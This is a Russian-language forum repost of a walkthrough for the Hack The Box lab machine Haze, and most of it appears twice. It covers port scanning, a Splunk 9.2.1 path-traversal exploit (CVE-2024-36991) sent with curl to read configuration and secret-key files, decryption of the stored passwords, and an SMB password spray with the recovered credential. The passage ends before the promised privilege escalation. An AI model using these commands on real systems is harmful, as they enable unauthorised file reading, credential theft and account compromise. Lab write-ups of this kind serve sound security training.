- Регистрация
- 9 Май 2015
- Сообщения
- 1,214
- Баллы
- 155
Сегодня мы проэксплуатируем уязвимость в мониторинговой системе Splunk, чтобы получить учетные данные. Затем для компрометации нескольких учетных записей проэксплуатируем разрешения, а для повышения привилегий скомпрометируем админскую учетку Splunk и добавим свой модуль для установления привилегированной сессии.
Наша цель — получение прав суперпользователя на машине Haze с учебной площадки . Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.61 haze.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 14 открытых портов:
Начнем, конечно же, с просмотра Splunk.
Страница авторизации Splunk
Страница сервиса Splunkd
Точка входа
На втором сайте нам открывается версия Splunk — 9.2.1. Сразу стоит проверить, есть ли для нее готовые эксплоиты. Первым делом просто ищем в Google.
Поиск эксплоитов в Google
И находим в блоге SonicWall, где подробно разбирается уязвимость . Она позволяет обходить пути с эндпоинта /modules/messaging/ и читать произвольные файлы. По номеру CVE находим и рабочий на GitHub. Он позволяет получать учетные данные из базы данных.
python3 CVE-2024-36991.py -u
Проверка уязвимости
Точка опоры
У нас есть возможность читать файлы, поэтому прикинем, что может быть интересного. Я не стал заморачиваться и спросил у ChatGPT, какие конфиги Splunk могут оказаться полезны, а также что в них содержится.
Интересные файлы Splunk
В файле server.conf находим зашифрованные технические пароли, а в authentication.conf есть доменные учетные данные пользователя Paul Taylor для связи с LDAP.
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/server.conf'
Содержимое файла server.conf
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf'
Содержимое файла authentication.conf
Чтобы расшифровать пароли, нам нужен ключ из файла auth/splunk.secret.
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret'
Содержимое файла splunk.secret
Когда у нас есть ключ, мы можем использовать скрипт для расшифровывания паролей. При запуске указываем файл splunk.secret, после чего вводим зашифрованные данные и получаем пароль в открытом виде.
pip install splunksecrets
splunksecrets splunk-decrypt -S splunk.secret
Расшифровывание пароля
У нас есть пароль, но нет логина. По имени пользователя можно составить список всех возможных вариантов учетной записи. Для этого используем следующий скрипт.
names = ["Paul Taylor"]
list = []
for name in names:
n1, n2 = name.split(' ')
list.append(n1)
list.append(n1+n2)
list.append(n1+"."+n2)
list.append(n1+"-"+n2)
list.append(n1+"_"+n2)
list.append(n1+n2[0])
list.append(n1+"."+n2[0])
list.append(n1+"-"+n2[0])
list.append(n1+"_"+n2[0])
list.append(n2[0]+n1)
list.append(n2[0]+"."+n1)
list.append(n2[0]+"-"+n1)
list.append(n2[0]+"_"+n1)
list.append(n2)
list.append(n2+n1)
list.append(n2+"."+n1)
list.append(n2+"-"+n1)
list.append(n2+"_"+n1)
list.append(n2+n1[0])
list.append(n2+"."+n1[0])
list.append(n2+"-"+n1[0])
list.append(n2+"_"+n1[0])
list.append(n1[0]+n2)
list.append(n1[0]+"."+n2)
list.append(n1[0]+"-"+n2)
list.append(n1[0]+"_"+n2)
for n in list:
print(n)
Затем перебираем логины с помощью и получаем учетную запись в нужном формате.
nxc smb 10.10.11.61 -u taylor_users.txt -p 'Ld@p_Auth_Sp1unk@2k24'
Результат подбора учетных данных
Наша цель — получение прав суперпользователя на машине Haze с учебной площадки . Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.61 haze.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта
Сканер нашел 14 открытых портов:
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- порты 8000, 8088, 8089 — система Splunk.
Начнем, конечно же, с просмотра Splunk.

Страница авторизации Splunk

Страница сервиса Splunkd
Точка входа
На втором сайте нам открывается версия Splunk — 9.2.1. Сразу стоит проверить, есть ли для нее готовые эксплоиты. Первым делом просто ищем в Google.

Поиск эксплоитов в Google
И находим в блоге SonicWall, где подробно разбирается уязвимость . Она позволяет обходить пути с эндпоинта /modules/messaging/ и читать произвольные файлы. По номеру CVE находим и рабочий на GitHub. Он позволяет получать учетные данные из базы данных.
python3 CVE-2024-36991.py -u

Проверка уязвимости
Точка опоры
У нас есть возможность читать файлы, поэтому прикинем, что может быть интересного. Я не стал заморачиваться и спросил у ChatGPT, какие конфиги Splunk могут оказаться полезны, а также что в них содержится.


Интересные файлы Splunk
В файле server.conf находим зашифрованные технические пароли, а в authentication.conf есть доменные учетные данные пользователя Paul Taylor для связи с LDAP.
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/server.conf'

Содержимое файла server.conf
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf'

Содержимое файла authentication.conf
Чтобы расшифровать пароли, нам нужен ключ из файла auth/splunk.secret.
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret'

Содержимое файла splunk.secret
Когда у нас есть ключ, мы можем использовать скрипт для расшифровывания паролей. При запуске указываем файл splunk.secret, после чего вводим зашифрованные данные и получаем пароль в открытом виде.
pip install splunksecrets
splunksecrets splunk-decrypt -S splunk.secret

Расшифровывание пароля
У нас есть пароль, но нет логина. По имени пользователя можно составить список всех возможных вариантов учетной записи. Для этого используем следующий скрипт.
names = ["Paul Taylor"]
list = []
for name in names:
n1, n2 = name.split(' ')
list.append(n1)
list.append(n1+n2)
list.append(n1+"."+n2)
list.append(n1+"-"+n2)
list.append(n1+"_"+n2)
list.append(n1+n2[0])
list.append(n1+"."+n2[0])
list.append(n1+"-"+n2[0])
list.append(n1+"_"+n2[0])
list.append(n2[0]+n1)
list.append(n2[0]+"."+n1)
list.append(n2[0]+"-"+n1)
list.append(n2[0]+"_"+n1)
list.append(n2)
list.append(n2+n1)
list.append(n2+"."+n1)
list.append(n2+"-"+n1)
list.append(n2+"_"+n1)
list.append(n2+n1[0])
list.append(n2+"."+n1[0])
list.append(n2+"-"+n1[0])
list.append(n2+"_"+n1[0])
list.append(n1[0]+n2)
list.append(n1[0]+"."+n2)
list.append(n1[0]+"-"+n2)
list.append(n1[0]+"_"+n2)
for n in list:
print(n)
Затем перебираем логины с помощью и получаем учетную запись в нужном формате.
nxc smb 10.10.11.61 -u taylor_users.txt -p 'Ld@p_Auth_Sp1unk@2k24'

Результат подбора учетных данных
Источник: